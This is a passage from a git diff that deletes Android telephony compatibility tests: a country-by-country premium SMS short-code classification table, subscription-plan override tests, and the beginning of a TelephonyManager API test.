-            new ShortCodeTest("no", "2201", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("no", "2226", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("no", "2227", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("no", "23456", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("no", "234567", CATEGORY_NOT_SHORT_CODE),
-
-            new ShortCodeTest("nz", "112", expectedReturnCode("112")),
-            new ShortCodeTest("nz", "123", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("nz", "2345", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("nz", "3903", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("nz", "8995", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("nz", "23456", CATEGORY_NOT_SHORT_CODE),
-
-            new ShortCodeTest("pl", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("pl", "116117", CATEGORY_FREE_SHORT_CODE),
-            new ShortCodeTest("pl", "7890", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("pl", "34567", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("pl", "7910", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("pl", "74240", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("pl", "79866", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("pl", "92525", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("pl", "87654321", CATEGORY_NOT_SHORT_CODE),
-
-            new ShortCodeTest("pt", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("pt", "116117", CATEGORY_FREE_SHORT_CODE),
-            new ShortCodeTest("pt", "61000", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("pt", "62345", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("pt", "68304", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("pt", "69876", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("pt", "87654321", CATEGORY_NOT_SHORT_CODE),
-
-            new ShortCodeTest("ro", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("ro", "116117", CATEGORY_FREE_SHORT_CODE),
-            new ShortCodeTest("ro", "1234", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ro", "1263", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ro", "1288", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ro", "1314", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ro", "1380", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ro", "7890", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ro", "12345", CATEGORY_NOT_SHORT_CODE),
-
-            new ShortCodeTest("ru", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("ru", "5432", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ru", "1161", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ru", "2097", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ru", "3933", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ru", "7781", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ru", "98765", CATEGORY_NOT_SHORT_CODE),
-
-            new ShortCodeTest("se", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("se", "116117", CATEGORY_FREE_SHORT_CODE),
-            new ShortCodeTest("se", "1234", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("se", "72345", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("se", "72999", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("se", "123456", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("se", "87654321", CATEGORY_NOT_SHORT_CODE),
-
-            new ShortCodeTest("sg", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("sg", "1234", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("sg", "70000", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("sg", "79999", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("sg", "73800", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("sg", "74688", CATEGORY_STANDARD_SHORT_CODE),
-            new ShortCodeTest("sg", "987654", CATEGORY_NOT_SHORT_CODE),
-
-            new ShortCodeTest("si", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("si", "116117", CATEGORY_FREE_SHORT_CODE),
-            new ShortCodeTest("si", "1234", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("si", "3838", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("si", "72999", CATEGORY_NOT_SHORT_CODE),
-
-            new ShortCodeTest("sk", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("sk", "116117", CATEGORY_FREE_SHORT_CODE),
-            new ShortCodeTest("sk", "1234", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("sk", "6674", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("sk", "7604", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("sk", "72999", CATEGORY_NOT_SHORT_CODE),
-
-            new ShortCodeTest("tj", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("tj", "5432", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("tj", "1161", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("tj", "1171", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("tj", "4161", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("tj", "4449", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("tj", "98765", CATEGORY_NOT_SHORT_CODE),
-
-            new ShortCodeTest("ua", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("ua", "5432", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ua", "4448", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ua", "7094", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ua", "7540", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ua", "98765", CATEGORY_NOT_SHORT_CODE),
-
-            new ShortCodeTest("us", "911", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("us", "+18005551234", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("us", "8005551234", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("us", "20000", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("us", "200000", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("us", "2000000", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("us", "20433", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("us", "21472", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("us", "23333", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("us", "99807", CATEGORY_PREMIUM_SHORT_CODE),
-
-            // generic rules for other countries: 5 digits or less considered potential short code
-            new ShortCodeTest("zz", "2000000", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("zz", "54321", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("zz", "4321", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("zz", "321", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("zz", "112", expectedReturnCode("112")),
-            new ShortCodeTest(null, "2000000", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest(null, "54321", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest(null, "4321", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest(null, "321", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest(null, "112", expectedReturnCode("112")),
-    };
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getTargetContext();
-        mPackageManager = mContext.getPackageManager();
-    }
-
-    private static int expectedReturnCode(String address) {
-        return PhoneNumberUtils.isEmergencyNumber(address) ?
-            CATEGORY_NOT_SHORT_CODE : CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE;
-    }
-
-    @UiThreadTest
-    public void testSmsUsageMonitor() {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
-            // do not test if device does not support telephony (voice or sms)
-            return;
-        }
-
-        SmsUsageMonitor monitor = new SmsUsageMonitor(mContext);
-        for (ShortCodeTest test : sShortCodeTests) {
-            // It is intended that a short code number in country A may be an emergency number
-            // in country B. It is intended that the destination will be changed because of this
-            // reason. checkDestination() returns CATEGORY_NOT_SHORT_CODE for emergency numbers.
-            if (test.category != CATEGORY_NOT_SHORT_CODE
-                    && PhoneNumberUtils.isEmergencyNumber(test.address, test.countryIso)) {
-                continue;
-            }
-            assertEquals("country: " + test.countryIso + " number: " + test.address,
-                    test.category, monitor.checkDestination(test.address, test.countryIso));
-        }
-    }
-}
diff --git a/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java
deleted file mode 100644
index 7b1797d..0000000
--- a/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java
+++ /dev/null
@@ -1,392 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.telephony.cts;
-
-import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
-import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_CONGESTED;
-import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_METERED;
-import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_RESTRICTED;
-import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.annotation.Nullable;
-import android.content.pm.PackageManager;
-import android.net.ConnectivityManager;
-import android.net.ConnectivityManager.NetworkCallback;
-import android.net.Network;
-import android.net.NetworkCapabilities;
-import android.net.NetworkRequest;
-import android.telephony.SubscriptionInfo;
-import android.telephony.SubscriptionManager;
-import android.telephony.SubscriptionPlan;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import com.android.compatibility.common.util.SystemUtil;
-
-import org.junit.AfterClass;
-import org.junit.Before;
-import org.junit.BeforeClass;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.time.Period;
-import java.time.ZonedDateTime;
-import java.util.Arrays;
-import java.util.List;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-import java.util.function.Predicate;
-
-@RunWith(AndroidJUnit4.class)
-public class SubscriptionManagerTest {
-    private SubscriptionManager mSm;
-
-    private int mSubId;
-    private String mPackageName;
-
-    /**
-     * Callback used in testRegisterNetworkCallback that allows caller to block on
-     * {@code onAvailable}.
-     */
-    private static class TestNetworkCallback extends ConnectivityManager.NetworkCallback {
-        private final CountDownLatch mAvailableLatch = new CountDownLatch(1);
-
-        public void waitForAvailable() throws InterruptedException {
-            assertTrue("Cellular network did not come up after 5 seconds",
-                    mAvailableLatch.await(5, TimeUnit.SECONDS));
-        }
-
-        @Override
-        public void onAvailable(Network network) {
-            mAvailableLatch.countDown();
-        }
-    }
-
-    @BeforeClass
-    public static void setUpClass() throws Exception {
-        if (!isSupported()) return;
-
-        InstrumentationRegistry.getInstrumentation().getUiAutomation()
-                .executeShellCommand("svc wifi disable");
-
-        final TestNetworkCallback callback = new TestNetworkCallback();
-        final ConnectivityManager cm = InstrumentationRegistry.getContext()
-                .getSystemService(ConnectivityManager.class);
-        cm.registerNetworkCallback(new NetworkRequest.Builder()
-                .addTransportType(TRANSPORT_CELLULAR)
-                .addCapability(NET_CAPABILITY_INTERNET)
-                .build(), callback);
-        try {
-            // Wait to get callback for availability of internet
-            callback.waitForAvailable();
-        } catch (InterruptedException e) {
-            fail("NetworkCallback wait was interrupted.");
-        } finally {
-            cm.unregisterNetworkCallback(callback);
-        }
-    }
-
-    @AfterClass
-    public static void tearDownClass() throws Exception {
-        if (!isSupported()) return;
-
-        InstrumentationRegistry.getInstrumentation().getUiAutomation()
-                .executeShellCommand("svc wifi enable");
-    }
-
-    @Before
-    public void setUp() throws Exception {
-        if (!isSupported()) return;
-
-        mSm = InstrumentationRegistry.getContext().getSystemService(SubscriptionManager.class);
-        mSubId = SubscriptionManager.getDefaultDataSubscriptionId();
-        mPackageName = InstrumentationRegistry.getContext().getPackageName();
-    }
-
-    /**
-     * Sanity check that the device has a cellular network and a valid default data subId
-     * when {@link PackageManager#FEATURE_TELEPHONY} support.
-     */
-    @Test
-    public void testSanity() throws Exception {
-        if (!isSupported()) return;
-
-        final boolean hasCellular = findCellularNetwork() != null;
-        if (!hasCellular) {
-            fail("Device claims to support " + PackageManager.FEATURE_TELEPHONY
-                    + " but has no active cellular network, which is required for validation");
-        }
-
-        if (mSubId == SubscriptionManager.INVALID_SUBSCRIPTION_ID) {
-            fail("Device must have a valid default data subId for validation");
-        }
-    }
-
-    @Test
-    public void testGetActiveSubscriptionInfoCount() throws Exception {
-        if (!isSupported()) return;
-
-        assertTrue(mSm.getActiveSubscriptionInfoCount() <=
-                mSm.getActiveSubscriptionInfoCountMax());
-    }
-
-    @Test
-    public void testActiveSubscriptions() throws Exception {
-        if (!isSupported()) return;
-
-        List<SubscriptionInfo> subList = mSm.getActiveSubscriptionInfoList();
-        // Assert when there is no sim card present or detected
-        assertNotNull("Active subscriber required", subList);
-        assertFalse("Active subscriber required", subList.isEmpty());
-        for (int i = 0; i < subList.size(); i++) {
-            assertTrue(subList.get(i).getSubscriptionId() >= 0);
-            assertTrue(subList.get(i).getSimSlotIndex() >= 0);
-        }
-    }
-
-    @Test
-    public void testSubscriptionPlans() throws Exception {
-        if (!isSupported()) return;
-
-        // Make ourselves the owner
-        setSubPlanOwner(mSubId, mPackageName);
-
-        // Push empty list and we get empty back
-        mSm.setSubscriptionPlans(mSubId, Arrays.asList());
-        assertEquals(Arrays.asList(), mSm.getSubscriptionPlans(mSubId));
-
-        // Push simple plan and get it back
-        final SubscriptionPlan plan = buildValidSubscriptionPlan();
-        mSm.setSubscriptionPlans(mSubId, Arrays.asList(plan));
-        assertEquals(Arrays.asList(plan), mSm.getSubscriptionPlans(mSubId));
-
-        // Now revoke our access
-        setSubPlanOwner(mSubId, null);
-        try {
-            mSm.setSubscriptionPlans(mSubId, Arrays.asList());
-            fail();
-        } catch (SecurityException expected) {
-        }
-        try {
-            mSm.getSubscriptionPlans(mSubId);
-            fail();
-        } catch (SecurityException expected) {
-        }
-    }
-
-    @Test
-    public void testSubscriptionPlansOverrideCongested() throws Exception {
-        if (!isSupported()) return;
-
-        final ConnectivityManager cm = InstrumentationRegistry.getContext()
-                .getSystemService(ConnectivityManager.class);
-        final Network net = findCellularNetwork();
-        assertNotNull("Active cellular network required", net);
-
-        // Make ourselves the owner
-        setSubPlanOwner(mSubId, mPackageName);
-
-        // Missing plans means no overrides
-        mSm.setSubscriptionPlans(mSubId, Arrays.asList());
-        try {
-            mSm.setSubscriptionOverrideCongested(mSubId, true, 0);
-            fail();
-        } catch (SecurityException | IllegalStateException expected) {
-        }
-
-        // Defining plans means we get to override
-        mSm.setSubscriptionPlans(mSubId, Arrays.asList(buildValidSubscriptionPlan()));
-
-        // Cellular is uncongested by default
-        assertTrue(cm.getNetworkCapabilities(net).hasCapability(NET_CAPABILITY_NOT_CONGESTED));
-
-        // Override should make it go congested
-        {
-            final CountDownLatch latch = waitForNetworkCapabilities(net, caps -> {
-                return !caps.hasCapability(NET_CAPABILITY_NOT_CONGESTED);
-            });
-            mSm.setSubscriptionOverrideCongested(mSubId, true, 0);
-            assertTrue(latch.await(10, TimeUnit.SECONDS));
-        }
-
-        // Clearing override should make it go uncongested
-        {
-            final CountDownLatch latch = waitForNetworkCapabilities(net, caps -> {
-                return caps.hasCapability(NET_CAPABILITY_NOT_CONGESTED);
-            });
-            mSm.setSubscriptionOverrideCongested(mSubId, false, 0);
-            assertTrue(latch.await(10, TimeUnit.SECONDS));
-        }
-
-        // Now revoke our access
-        setSubPlanOwner(mSubId, null);
-        try {
-            mSm.setSubscriptionOverrideCongested(mSubId, true, 0);
-            fail();
-        } catch (SecurityException | IllegalStateException expected) {
-        }
-    }
-
-    @Test
-    public void testSubscriptionPlansOverrideUnmetered() throws Exception {
-        if (!isSupported()) return;
-
-        final ConnectivityManager cm = InstrumentationRegistry.getContext()
-                .getSystemService(ConnectivityManager.class);
-        final Network net = findCellularNetwork();
-        assertNotNull("Active cellular network required", net);
-
-        // Make ourselves the owner and define some plans
-        setSubPlanOwner(mSubId, mPackageName);
-        mSm.setSubscriptionPlans(mSubId, Arrays.asList(buildValidSubscriptionPlan()));
-
-        // Cellular is metered by default
-        assertFalse(cm.getNetworkCapabilities(net).hasCapability(NET_CAPABILITY_NOT_METERED));
-
-        // Override should make it go unmetered
-        {
-            final CountDownLatch latch = waitForNetworkCapabilities(net, caps -> {
-                return caps.hasCapability(NET_CAPABILITY_NOT_METERED);
-            });
-            mSm.setSubscriptionOverrideUnmetered(mSubId, true, 0);
-            assertTrue(latch.await(10, TimeUnit.SECONDS));
-        }
-
-        // Clearing override should make it go metered
-        {
-            final CountDownLatch latch = waitForNetworkCapabilities(net, caps -> {
-                return !caps.hasCapability(NET_CAPABILITY_NOT_METERED);
-            });
-            mSm.setSubscriptionOverrideUnmetered(mSubId, false, 0);
-            assertTrue(latch.await(10, TimeUnit.SECONDS));
-        }
-    }
-
-    @Test
-    public void testSubscriptionPlansInvalid() throws Exception {
-        if (!isSupported()) return;
-
-        // Make ourselves the owner
-        setSubPlanOwner(mSubId, mPackageName);
-
-        // Empty plans can't override
-        assertOverrideFails();
-
-        // Nonrecurring plan in the past can't override
-        assertOverrideFails(SubscriptionPlan.Builder
-                .createNonrecurring(ZonedDateTime.now().minusDays(14),
-                        ZonedDateTime.now().minusDays(7))
-                .setTitle("CTS")
-                .setDataLimit(1_000_000_000, SubscriptionPlan.LIMIT_BEHAVIOR_DISABLED)
-                .build());
-
-        // Plan with undefined limit can't override
-        assertOverrideFails(SubscriptionPlan.Builder
-                .createRecurring(ZonedDateTime.parse("2007-03-14T00:00:00.000Z"),
-                        Period.ofMonths(1))
-                .setTitle("CTS")
-                .build());
-
-        // We can override when there is an active plan somewhere
-        final SubscriptionPlan older = SubscriptionPlan.Builder
-                .createNonrecurring(ZonedDateTime.now().minusDays(14),
-                        ZonedDateTime.now().minusDays(7))
-                .setTitle("CTS")
-                .setDataLimit(1_000_000_000, SubscriptionPlan.LIMIT_BEHAVIOR_DISABLED)
-                .build();
-        final SubscriptionPlan newer = SubscriptionPlan.Builder
-                .createNonrecurring(ZonedDateTime.now().minusDays(7),
-                        ZonedDateTime.now().plusDays(7))
-                .setTitle("CTS")
-                .setDataLimit(1_000_000_000, SubscriptionPlan.LIMIT_BEHAVIOR_DISABLED)
-                .build();
-        assertOverrideSuccess(older, newer);
-    }
-
-    private void assertOverrideSuccess(SubscriptionPlan... plans) {
-        mSm.setSubscriptionPlans(mSubId, Arrays.asList(plans));
-        mSm.setSubscriptionOverrideCongested(mSubId, false, 0);
-    }
-
-    private void assertOverrideFails(SubscriptionPlan... plans) {
-        mSm.setSubscriptionPlans(mSubId, Arrays.asList(plans));
-        try {
-            mSm.setSubscriptionOverrideCongested(mSubId, false, 0);
-            fail();
-        } catch (SecurityException | IllegalStateException expected) {
-        }
-    }
-
-    public static CountDownLatch waitForNetworkCapabilities(Network network,
-            Predicate<NetworkCapabilities> predicate) {
-        final CountDownLatch latch = new CountDownLatch(1);
-        final ConnectivityManager cm = InstrumentationRegistry.getContext()
-                .getSystemService(ConnectivityManager.class);
-        cm.registerNetworkCallback(new NetworkRequest.Builder().build(),
-                new NetworkCallback() {
-                    @Override
-                    public void onCapabilitiesChanged(Network net, NetworkCapabilities caps) {
-                        if (net.equals(network) && predicate.test(caps)) {
-                            latch.countDown();
-                            cm.unregisterNetworkCallback(this);
-                        }
-                    }
-                });
-        return latch;
-    }
-
-    private static SubscriptionPlan buildValidSubscriptionPlan() {
-        return SubscriptionPlan.Builder
-                .createRecurring(ZonedDateTime.parse("2007-03-14T00:00:00.000Z"),
-                        Period.ofMonths(1))
-                .setTitle("CTS")
-                .setDataLimit(1_000_000_000, SubscriptionPlan.LIMIT_BEHAVIOR_DISABLED)
-                .setDataUsage(500_000_000, System.currentTimeMillis())
-                .build();
-    }
-
-    private static @Nullable Network findCellularNetwork() {
-        final ConnectivityManager cm = InstrumentationRegistry.getContext()
-                .getSystemService(ConnectivityManager.class);
-        for (Network net : cm.getAllNetworks()) {
-            final NetworkCapabilities caps = cm.getNetworkCapabilities(net);
-            if (caps != null && caps.hasTransport(TRANSPORT_CELLULAR)
-                    && caps.hasCapability(NET_CAPABILITY_INTERNET)
-                    && caps.hasCapability(NET_CAPABILITY_NOT_RESTRICTED)) {
-                return net;
-            }
-        }
-        return null;
-    }
-
-    private static boolean isSupported() {
-        return InstrumentationRegistry.getContext().getPackageManager()
-                .hasSystemFeature(PackageManager.FEATURE_TELEPHONY);
-    }
-
-    private static void setSubPlanOwner(int subId, String packageName) throws Exception {
-        SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
-                "cmd netpolicy set sub-plan-owner " + subId + " " + packageName);
-    }
-}
diff --git a/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
deleted file mode 100644
index 0eabad7..0000000
--- a/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
+++ /dev/null
@@ -1,685 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.telephony.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.bluetooth.BluetoothAdapter;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.net.ConnectivityManager;
-import android.net.wifi.WifiInfo;
-import android.net.wifi.WifiManager;
-import android.os.Build;
-import android.os.Looper;
-import android.telecom.PhoneAccount;
-import android.telecom.PhoneAccountHandle;
-import android.telecom.TelecomManager;
-import android.telephony.CellLocation;
-import android.telephony.PhoneStateListener;
-import android.telephony.ServiceState;
-import android.telephony.SubscriptionInfo;
-import android.telephony.SubscriptionManager;
-import android.telephony.TelephonyManager;
-import android.text.TextUtils;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import com.android.compatibility.common.util.TestThread;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.List;
-import java.util.regex.Pattern;
-
-/**
- * Build, install and run the tests by running the commands below:
- *  make cts -j64
- *  cts-tradefed run cts -m CtsTelephonyTestCases --test android.telephony.cts.TelephonyManagerTest
- */
-@RunWith(AndroidJUnit4.class)
-public class TelephonyManagerTest {
-    private TelephonyManager mTelephonyManager;
-    private PackageManager mPackageManager;
-    private boolean mOnCellLocationChangedCalled = false;
-    private ServiceState mServiceState;
-    private final Object mLock = new Object();
-    private static final int TOLERANCE = 1000;
-    private PhoneStateListener mListener;
-    private static ConnectivityManager mCm;
-    private static final String TAG = "TelephonyManagerTest";
-
-    @Before
-    public void setUp() throws Exception {
-        mTelephonyManager =
-                (TelephonyManager) getContext().getSystemService(Context.TELEPHONY_SERVICE);
-        mCm = (ConnectivityManager) getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
-        mPackageManager = getContext().getPackageManager();
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        if (mListener != null) {
-            // unregister the listener
-            mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_NONE);
-        }
-    }
-
-    @Test
-    public void testListen() throws Throwable {
-        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
-            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
-            return;
-        }
-
-        if (mTelephonyManager.getPhoneType() == TelephonyManager.PHONE_TYPE_CDMA) {
-            // TODO: temp workaround, need to adjust test to for CDMA
-            return;
-        }
-
-        TestThread t = new TestThread(new Runnable() {
-            public void run() {
-                Looper.prepare();
-                mListener = new PhoneStateListener() {
-                    @Override
-                    public void onCellLocationChanged(CellLocation location) {
-                        if(!mOnCellLocationChangedCalled) {
-                            synchronized (mLock) {
-                                mOnCellLocationChangedCalled = true;
-                                mLock.notify();
-                            }
-                        }
-                    }
-                };
-
-                synchronized (mLock) {
-                    mLock.notify(); // mListener is ready
-                }
-
-                Looper.loop();
-            }
-        });
-
-        synchronized (mLock) {
-            t.start();
-            mLock.wait(TOLERANCE); // wait for mListener
-        }
-
-        // Test register
-        synchronized (mLock) {
-            // .listen generates an onCellLocationChanged event
-            mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_CELL_LOCATION);
-            mLock.wait(TOLERANCE);
-
-            assertTrue("Test register, mOnCellLocationChangedCalled should be true.",
-                mOnCellLocationChangedCalled);
-        }
-
-        synchronized (mLock) {
-            mOnCellLocationChangedCalled = false;
-            CellLocation.requestLocationUpdate();
-            mLock.wait(TOLERANCE);
-
-            assertTrue("Test register, mOnCellLocationChangedCalled should be true.",
-                mOnCellLocationChangedCalled);
-        }
-
-        // unregister the listener
-        mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_NONE);
-        Thread.sleep(TOLERANCE);
-
-        // Test unregister
-        synchronized (mLock) {
-            mOnCellLocationChangedCalled = false;
-            // unregister again, to make sure doing so does not call the listener
-            mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_NONE);
-            CellLocation.requestLocationUpdate();
-            mLock.wait(TOLERANCE);
-
-            assertFalse("Test unregister, mOnCellLocationChangedCalled should be false.",
-                mOnCellLocationChangedCalled);
-        }
-    }
-
-    /**
-     * The getter methods here are all related to the information about the telephony.
-     * These getters are related to concrete location, phone, service provider company, so
-     * it's no need to get details of these information, just make sure they are in right
-     * condition(>0 or not null).
-     */
-    @Test
-    public void testTelephonyManager() {
-        assertTrue(mTelephonyManager.getNetworkType() >= TelephonyManager.NETWORK_TYPE_UNKNOWN);
-        assertTrue(mTelephonyManager.getPhoneType() >= TelephonyManager.PHONE_TYPE_NONE);
-        assertTrue(mTelephonyManager.getSimState() >= TelephonyManager.SIM_STATE_UNKNOWN);
-        assertTrue(mTelephonyManager.getDataActivity() >= TelephonyManager.DATA_ACTIVITY_NONE);
-        assertTrue(mTelephonyManager.getDataState() >= TelephonyManager.DATA_DISCONNECTED);
-        assertTrue(mTelephonyManager.getCallState() >= TelephonyManager.CALL_STATE_IDLE);
-
-        for (int i = 0; i < mTelephonyManager.getPhoneCount(); ++i) {
-            assertTrue(mTelephonyManager.getSimState(i) >= TelephonyManager.SIM_STATE_UNKNOWN);
-        }
-
-        // Make sure devices without MMS service won't fail on this
-        if (mTelephonyManager.getPhoneType() != TelephonyManager.PHONE_TYPE_NONE) {
-            assertFalse(mTelephonyManager.getMmsUserAgent().isEmpty());
-            assertFalse(mTelephonyManager.getMmsUAProfUrl().isEmpty());
-        }
-
-        // The following methods may return any value depending on the state of the device. Simply
-        // call them to make sure they do not throw any exceptions.
-        mTelephonyManager.getVoiceMailNumber();
-        mTelephonyManager.getSimOperatorName();
-        mTelephonyManager.getNetworkCountryIso();
-        mTelephonyManager.getCellLocation();
-        mTelephonyManager.getSimCarrierId();
-        mTelephonyManager.getSimCarrierIdName();
-        mTelephonyManager.getSimSerialNumber();
-        mTelephonyManager.getSimOperator();
-        mTelephonyManager.getSignalStrength();
-        mTelephonyManager.getNetworkOperatorName();
-        mTelephonyManager.getSubscriberId();
-        mTelephonyManager.getLine1Number();
